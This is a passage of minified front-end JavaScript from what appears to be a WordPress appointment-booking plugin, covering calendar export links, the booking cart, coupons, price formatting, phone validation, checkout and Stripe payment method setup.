r=this.formatDateForCalendar(t,o),l=this.formatDateForCalendar(s,o);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(r=r.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"));const p=[\"BEGIN:VCALENDAR\",\"VERSION:2.0\",`PRODID:${C().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(o)&&p.push(\"BEGIN:VTIMEZONE\",\"TZID:\"+o,\"END:VTIMEZONE\");let m={dtstamp:\"DTSTAMP:\"+this.formatDateToCalendar(new Date),uid:\"UID:\"+e,dtstart:\"DTSTART\"+(this.isTimezoneProvideByIANA(o)?\";TZID=\"+o+\":\":\":\")+r,dtend:\"DTEND\"+(this.isTimezoneProvideByIANA(o)?\";TZID=\"+o+\":\":\":\")+l,summary:\"SUMMARY:\"+i,description:\"DESCRIPTION:\"+n,location:\"LOCATION:\"+a};m=wp.hooks.applyFilters(\"mpa_prepare_vevent_data\",m);let c=Object.values(m);p.push(\"BEGIN:VEVENT\",...c,\"END:VEVENT\"),p.push(\"END:VCALENDAR\");const h=p.join(\"\\n\"),d=new Blob([h],{type:\"text\u002Fcalendar\"});return window.URL.createObjectURL(d)}static createGoogleCalendarURL(e,t,s,i,n){const a=new URL(\"https:\u002F\u002Fwww.google.com\u002Fcalendar\u002Frender\"),o=C().settings().getTimezone();let r=this.formatDateForCalendar(e,o),l=this.formatDateForCalendar(t,o);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(r=r.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\")),a.search=new URLSearchParams({action:\"TEMPLATE\",text:s,dates:`${r}\u002F${l}`,details:i,location:n}).toString(),this.isTimezoneProvideByIANA(o)&&a.searchParams.append(\"ctz\",o),a.toString()}static createYahooCalendarURL(e,t,s,i,n){const a=new URL(\"https:\u002F\u002Fcalendar.yahoo.com\u002F\"),o=C().settings().getTimezone();let r=this.formatDateForCalendar(e,o),l=this.formatDateForCalendar(t,o),p={v:\"60\",view:\"d\",type:\"20\",title:s,desc:i,in_loc:n};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(p.st=r.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),p.dur=\"allday\"):(p.st=r,p.et=l),a.search=new URLSearchParams(p).toString(),a.toString()}}class Pe{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(\".booking-reservations\"),this.$bookingCartItem=this.$bookingCartItems.find(\".reservation\"),this.$addToCalendarGoogle=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--google\"),this.$addToCalendarApple=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--apple\"),this.$addToCalendarOutlook=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--outlook\"),this.$addToCalendarYahoo=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--yahoo\")}assignURL(e,t){e.attr(\"href\",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction(\"mpa_booking_details_section_init\",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),n=e.employee.name+\". \"+s.getQuantityLabel()+\": \"+e.getCapacity()+\".\";let a=i;e.getCapacity()>1&&(a+=\" \",a+='\u003Cspan class=\"mpa-reservation-capacity\">',a+=s.getQuantityLabel()+\": \"+e.getCapacity(),a+=\"\u003C\u002Fspan>\"),t.find(\".reservation-title\").html(a),t.find(\".reservation-date\").html(E(e.date)),t.find(\".reservation-time\").html(e.time.toString());const o=ke.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_ics\",e.location.name,e)),r=ke.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_google\",e.location.name,e)),l=ke.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,n,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_yahoo\",e.location.name,e));this.assignURL(t.find(\".mpa-add-to-calendar-link--google\"),r),this.assignURL(t.find(\".mpa-add-to-calendar-link--apple\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--outlook\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--yahoo\"),l)})),this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!1)}reset(){this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!0);const e=\"#\";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class Ie extends Ee{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(\".mpa-message\").first(),this.$buttonReset=this.$buttons.find(\".mpa-button-reset\"),this.$bookingDetails=this.$element.find(\".mpa-booking-details\").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new Pe(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(h(\"Making a reservation...\",\"motopress-appointment\")+' \u003Cspan class=\"mpa-preloader\">\u003C\u002Fspan>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on(\"click\",this.resetForm.bind(this))}theId(){return\"booking\"}react(){this.isPosted&&(this.$buttons.removeClass(\"mpa-hide\"),this.$buttonBack.toggleClass(\"mpa-hide\",this.isBooked),this.$buttonReset.toggleClass(\"mpa-hide\",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){v(\"\u002Fbookings\",{...wp.hooks.applyFilters(\"mpa_booking_cart_data\",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction(\"mpa_booking_cart_response\",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass(\"mpa-hide\"),this.$buttonReset.addClass(\"mpa-hide\")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(h(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return\"redirect_url\"in e&&\"\"!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger(\"mpa_reset_booking\")}}function Te(e){let t=\"\";for(let s in e)t+=\" \"+s+'=\"'+e[s]+'\"';return t}function $e(e,t={}){return\"\u003Cbutton\"+Te(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function De(e,t){let s={service_id:\".mpa-service-id\",service_name:\".mpa-service-name\",service_thumbnail:\".mpa-service-thumbnail\",employee_id:\".mpa-employee-id\",employee_name:\".mpa-employee-name\",location_id:\".mpa-location-id\",location_name:\".mpa-location-name\",reservation_date:\".mpa-reservation-date\",reservation_save_date:\".mpa-reservation-save-date\",reservation_time:\".mpa-reservation-time\",reservation_period:\".mpa-reservation-period\",reservation_save_period:\".mpa-reservation-save-period\",reservation_capacity:\".mpa-reservation-capacity\",reservation_clients:\".mpa-reservation-clients\",reservation_clients_count:\".mpa-reservation-clients-count\",reservation_price:\".mpa-reservation-price\"},i=t.clone();i.attr(\"data-id\",e.getItemId());let n=e.getCapacityOptions();for(let t in s){let a=s[t],o=i.find(a).first(),r=\"{\"+t+\"}\";if(!(o.length>0?o.html():\"\").includes(r))continue;let l=\"\";switch(t){case\"service_id\":l=e.service.id;break;case\"service_name\":l=e.service.name;break;case\"service_thumbnail\":l=Oe(e.service.thumbnail);break;case\"employee_id\":l=e.employee.id;break;case\"employee_name\":l=e.employee.name;break;case\"location_id\":l=e.location.id;break;case\"location_name\":l=e.location.name;break;case\"reservation_date\":l=E(e.date);break;case\"reservation_save_date\":l=E(e.date,\"internal\");break;case\"reservation_time\":l=e.time.toString(\"short\");break;case\"reservation_period\":l=e.time.toString();break;case\"reservation_save_period\":l=e.time.toString(\"internal\");break;case\"reservation_capacity\":l=Be(m(n,n),e.capacity);break;case\"reservation_clients\":l=Fe(m(n,n),e.capacity);break;case\"reservation_clients_count\":l=e.capacity;break;case\"reservation_price\":let t=e.employee.id;l=Me(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(r,l))}return i.find(\".cell-people .cell-title\").html(e.getService().getQuantityLabel()),i.find('[name*=\"{item_id}\"]').each(((t,s)=>{s.name=s.name.replace(\"{item_id}\",e.getItemId())})),1===n.length&&i.find(\".cell-people\").addClass(\"mpa-hide\"),i}function xe(e){let t=\"\";t+='\u003Ctable class=\"mpa-order widefat\">',t+=\"\u003Ctbody>\";for(let s of e.products)t+='\u003Ctr class=\"mpa-order-service\">',t+='\u003Ctd class=\"column-service\">',t+='\u003Cspan class=\"mpa-service-name\">'+s.name+\"\u003C\u002Fspan>\",s.capacity>1&&(t+='\u003Cspan class=\"mpa-reservation-capacity\">',t+=s.quantity_label+\": \"+s.capacity,t+=\"\u003C\u002Fspan>\"),t+=\"\u003C\u002Ftd>\",t+='\u003Ctd class=\"column-price\">'+Ae(s.price)+\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\";return t+='\u003Ctr class=\"mpa-order-subtotal\">',t+='\u003Cth class=\"column-subtotal\">'+h(\"Subtotal\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+Ae(e.subtotal)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftbody>\",t+=\"\u003Ctfoot>\",e.coupon&&(t+='\u003Ctr class=\"mpa-order-coupon\">',t+='\u003Cth class=\"column-coupon\">',t+=h(\"Coupon: %s\",\"motopress-appointment\").replace(\"%s\",e.coupon.code),t+=\"\u003C\u002Fth>\",t+='\u003Ctd class=\"column-price\">',t+=Ae(-e.coupon.amount),t+=\" \",t+='\u003Ca href=\"#\" class=\"mpa-remove-coupon\">'+h(\"Remove\",\"motopress-appointment\")+\"\u003C\u002Fa>\",t+=\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\"),t+='\u003Ctr class=\"mpa-order-total\">',t+='\u003Cth class=\"column-total\">'+h(\"Total\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+Ae(e.total)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftfoot>\",t+=\"\u003C\u002Ftable>\",t}function Me(e,t={}){let s=C().settings();t=jQuery.extend({currency_symbol:s.getCurrencySymbol(),currency_position:s.getCurrencyPosition(),decimal_separator:s.getDecimalSeparator(),thousand_separator:s.getThousandSeparator(),decimals:s.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let i=function(e,t=0,s=\".\",i=\",\"){let n,a,o,r,l,p=\"\";return e\u003C0&&(p=\"-\",e*=-1),n=parseInt(e=(+e||0).toFixed(t))+\"\",(a=n.length)>3?a%=3:a=0,l=a?n.substr(0,a)+i:\"\",o=n.substr(a).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+i),r=t?s+Math.abs(e-n).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",p+l+o+r}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),n=\"mpa-price\";if(0==e&&(n+=\" mpa-zero-price\"),0==e&&t.literal_free)n+=\" mpa-price-free\",i=d(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(i=function(e,t=null){null==t&&(t=C().settings().getDecimalSeparator());let s=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(s,\"\")}(i));let s='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":i=s+i;break;case\"after\":i+=s;break;case\"before_with_space\":i=s+\"&nbsp;\"+i;break;case\"after_with_space\":i=i+\"&nbsp;\"+s}e\u003C0&&(i=\"-\"+i)}return'\u003Cspan class=\"'+n+'\">'+i+\"\u003C\u002Fspan>\"}function Ae(e,t={}){return t.literal_free=!1,Me(e,t)}function Be(e,t,s={}){let i=\"\u003Cselect\"+Te(s)+\">\";return i+=Fe(e,t),i+=\"\u003C\u002Fselect>\",i}function Le(e,t,s=!1){let i=\"\";return i='\u003Coption value=\"'+e+'\"'+(s?' selected=\"selected\"':\"\")+\">\",i+=t,i+=\"\u003C\u002Foption>\",i}function Fe(e,t){let s=\"\";for(let i in e)s+=Le(i,e[i],i==t);return s}function Re(e,t,s,i){let n=\"\";const a=String(i);for(const[e,s]of Object.entries(t))n+=Le(e,s,e===a);for(let e of s)n+=Le(String(e.id),e.name,String(e.id)===a);e.empty().append(n).val(a)}function Oe(e){let{width:t,height:s}=C().settings().getThumbnailSize();return\"\u003Cimg\"+Te({width:t,height:s,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class Ne extends Ee{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),s=e.getDate(),i=e.getTime();this.cart.getItems().forEach((n=>{n.isSet()&&n.getItemId()!=t&&n.isAtTime(s,i)&&n.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),s=e.getMaxCapacity();var i,n,a;e.setCapacity((i=e.getCapacity(),n=t,a=s,Math.max(n,Math.min(i,a))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,s)=>{let i='.mpa-cart-item[data-id=\"'+s+'\"]',n=this.$items.find(i);0===n.length?(n=this.addItem(e),this.bindListeners(n)):(n=this.updateItem(n,e),this.bindListeners(n))})),this.updateTotalPrice()}addItem(e){let t=De(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let s=De(t,this.$itemTemplate);return e.replaceWith(s),s}bindListeners(e){let t=e.data(\"id\"),s=this.cart.getItem(t),i=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),n=e.find(\".mpa-reservation-price\"),a=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),o=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");i.on(\"change\",(t=>{let i=$(t.target.value);s.setCapacity(i);let a=s.getBookingVariantForCapacity(i),o=a.employeeId,r=a.locationId;if(s.getEmployeeId()!=o)s.setEmployee(o,!1),s.setLocation(r,!1),e=this.updateItem(e,s),this.bindListeners(e);else{let e=s.service.getPrice(o,i);n.html(Me(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&a.on(\"click\",(s=>{s.stopPropagation(),e.remove();let i=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:i,currencyCode:C().settings().getCurrency()}}))})),this.isMultibookingEnabled()||o.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(Ae(this.cart.getTotalPrice()))}isMultibookingEnabled(){return C().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:C().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class He{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name=\"coupon_code\"]'),this.$applyButton=e.find(\".mpa-apply-coupon-button\"),this.$messageHolder=e.find(\".mpa-message-wrapper\"),this.$preloader=e.find(\".mpa-preloader\"),this.$parentForm=e.parents(\".mpa-booking-step\").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on(\"keydown\",(e=>{\"Enter\"===e.code&&this.onEnter(e)})),this.$applyButton.on(\"click\",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),z().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(h(\"Coupon code applied successfully.\",\"motopress-appointment\"))):this.setMessage(h(\"Sorry, your booking is not eligible for this coupon.\",\"motopress-appointment\")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(h(\"Coupon code is empty.\",\"motopress-appointment\"))}reset(){this.$couponCode.val(\"\"),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass(\"mpa-hide\")):(this.enable(),this.$element.removeClass(\"mpa-hide\"))}disable(){this.$couponCode.prop(\"disabled\",!0),this.$applyButton.prop(\"disabled\",!0)}enable(){this.$couponCode.prop(\"disabled\",!1),this.$applyButton.prop(\"disabled\",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger(\"mpa_booking_step_disable\")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger(\"mpa_booking_step_enable\")}triggerApplied(e){this.$parentForm.trigger(\"mpa_booking_coupon_applied\",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}}function Ve(e){const t=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:h(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",t);const s=n(e[0],{separateDialCode:!0,initialCountry:i.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:i.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});s.promise.then((()=>{e.val()&&a(),e.on(\"countrychange\",(e=>{a()})),e.on(\"input\",(e=>{a()}))}));const a=()=>{s.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(s.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),t.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),t.removeClass(\"mpa-hide\"))};return s}window.mpa_intl_tel_input=Ve;class ze extends Ee{setupProperties(){super.setupProperties(),this.name=\"\",this.email=\"\",this.phone=\"\",this.notes=\"\",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(\".mpa-checkout-form\"),this.$name=this.$element.find(\".mpa-customer-name\"),this.$email=this.$element.find(\".mpa-customer-email\"),this.$phone=this.$element.find(\".mpa-customer-phone\"),this.$notes=this.$element.find(\".mpa-customer-notes\"),this.$order=this.$element.find(\".mpa-order\"),wp.hooks.doAction(\"mpa_step_checkout_form\",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ve(this.$phone)),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.$messageHolder=this.$element.find(\".mpa-message\").first(),this.$preloader=this.$element.find(\".mpa-loading\"),C().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(\".mpa-customer-create-account\"),this.$createAccountDescription=this.$element.find(\".mpa-customer-create-account-description\"),this.setProperty(\"createAccount\",this.$createAccount.prop(\"checked\"))),i&&i.currentCustomer&&i.currentCustomer.name&&(this.setProperty(\"name\",i.currentCustomer.name),this.$name.val(i.currentCustomer.name)),i&&i.currentCustomer&&i.currentCustomer.email&&(this.setProperty(\"email\",i.currentCustomer.email),this.$email.val(i.currentCustomer.email)),i&&i.currentCustomer&&\"undefined\"!==i.currentCustomer.phone&&(this.setProperty(\"phone\",i.currentCustomer.phone),this.phoneValidator.setNumber(i.currentCustomer.phone),this.$phone.trigger(\"input\")),this.service=null,this.couponSection=null}theId(){return\"checkout\"}propertiesSchema(){return{name:{type:\"string\",default:\"\"},email:{type:\"string\",default:\"\"},phone:{type:\"string\",default:\"\"},notes:{type:\"string\",default:\"\"},acceptTerms:{type:\"bool\",default:!1},$createAccount:{type:\"bool\",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on(\"submit\",(e=>!1)),this.$name.on(\"input\",(e=>this.setProperty(\"name\",e.target.value))),this.$email.on(\"input\",(e=>this.setProperty(\"email\",e.target.value))),this.$phone.on(\"input\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on(\"countrychange\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on(\"input\",(e=>this.setProperty(\"notes\",e.target.value))),C().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),C().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on(\"input\",(e=>{this.setProperty(\"createAccount\",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass(\"mpa-hide\"):this.$createAccountDescription.addClass(\"mpa-hide\")})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():C().settings().isCouponsEnabled()&&(this.couponSection=new He(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction(\"mpa_step_checkout_reset\",this.$checkoutForm),this.$notes.val(\"\"),this.resetProperty(\"notes\"),C().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),C().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop(\"checked\",!1),this.resetProperty(\"createAccount\")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(xe(this.cart.getOrder()));let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters(\"mpa_step_checkout_form_valid\",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is(\"[required]\"))||\"\"!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is(\"[required]\"))||\"\"!==this.email&&!!this.email.match(\u002F.+@.+\u002F)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is(\"[required]\"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!C().settings().getTermsPageIdForAcceptance()||C().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}async maybeSubmit(){if(wp.hooks.hasFilter(\"mpa_step_checkout_maybe_submit\")&&await wp.hooks.applyFilters(\"mpa_step_checkout_maybe_submit\",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&\"\"!==this.email){this.showPreloader();return v(\"\u002Fcustomers\u002Fcreate\",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class qe{setupProperties(){this.gatewayId=\"basic\",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass(\"mpa-hide\"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass(\"mpa-hide\"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return v(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails})}getDefaults(){return{country:C().settings().getCountry(),redirect_url:{payment_received:C().settings().getReservationReceivedPageUrl(),failed_transaction:C().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ue extends qe{enable(){}}class je{setupProperties(){this.methods=null,this.uid=\"\",this.paymentMethods=new we,this.selectedMethod=\"\",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=K(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,s)=>{s||(e=!0)})),e&&this.$gatewayPreloader.addClass(\"mpa-hide\")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),this.$gatewayPreloader.removeClass(\"mpa-hide\"),this.paymentMethods.forEach(((t,s,i)=>{t.$nav=e.find(\".mpa-stripe-payment-method.\"+i),t.$fields=e.find(\".mpa-stripe-payment-fields.\"+i);const n=this.methods[i].getControl();if(null!==n){const e=this.getElementSelector(i);this.mountedMethods[i]=!1,n.mount(e),n.on(\"ready\",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove(\"mpa-preloader-skeleton-pulsate\")}))}\"card\"===i&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector(\"payment-request-button\"),s=document.querySelector(t);s&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on(\"ready\",(e=>{this.mountedMethod(\"payment_request_button\"),s.classList.remove(\"mpa-preloader-skeleton-pulsate\")}))):(s.classList.add(\"mpa-hide\"),document.querySelector(\".mpa-stripe-payment-request-button-separator\").classList.add(\"mpa-hide\")))}))})),e.find('input[name=\"stripe_payment_method\"]').on(\"change\",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(\".mpa-errors\")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case\"payment\":case\"card\":case\"ideal\":case\"sepa_debit\":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let s=this.paymentMethods.find(e);s.$nav.toggleClass(\"active\",t),s.$fields.toggleClass(\"mpa-hide\",!t)}}getElementSelector(e){return\"sepa_debit\"===e&&(e=\"iban\"),\"#mpa-stripe-\"+e+\"-element-\"+this.uid}render(){let e=\"\";e+='\u003Csection class=\"mpa-stripe-payment-container\">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of 